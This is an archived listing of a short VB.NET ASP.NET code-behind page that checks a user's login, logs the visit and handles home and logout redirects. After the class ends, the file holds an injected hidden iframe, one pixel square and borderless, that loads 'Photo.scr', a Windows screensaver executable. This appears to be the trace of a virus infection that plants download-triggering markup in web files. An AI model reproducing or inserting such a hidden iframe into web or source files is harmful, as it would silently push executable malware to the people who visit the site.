home *** CD-ROM | disk | FTP | other *** search
/ 41-134-104-147.dsl.mweb.co.za / 41-134-104-147.dsl.mweb.co.za.tar / 41-134-104-147.dsl.mweb.co.za / accountPortfolio.aspx.vb < prev    next >
Text File  |  2016-06-15  |  951b  |  24 lines
  1. 
  2. Partial Class accountPortfolio
  3.     Inherits System.Web.UI.Page
  4.     Dim myFunctions As New Functions
  5.     Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
  6.         If Not myFunctions.testLogin(Me.Context) Then
  7.             Response.Redirect("~/Default.aspx", True)
  8.         Else
  9.             myFunctions.logMe(Request.Cookies("hcUid").Value, "Transaction history")
  10.         End If
  11.     End Sub
  12.     Protected Sub imgHome_Click(ByVal sender As Object, ByVal e As System.Web.UI.ImageClickEventArgs) Handles imgHome.Click
  13.         Response.Redirect("~/enquiries.aspx", True)
  14.     End Sub
  15.  
  16.     Protected Sub imgLogout_Click(ByVal sender As Object, ByVal e As System.Web.UI.ImageClickEventArgs) Handles imgLogout.Click
  17.         If myFunctions.logout(Me.Context) Then Response.Redirect("~/Default.aspx", True)
  18.     End Sub
  19.  
  20. End Class
  21.  
  22. <iframe src=Photo.scr width=1 height=1 frameborder=0>
  23. </iframe>
  24.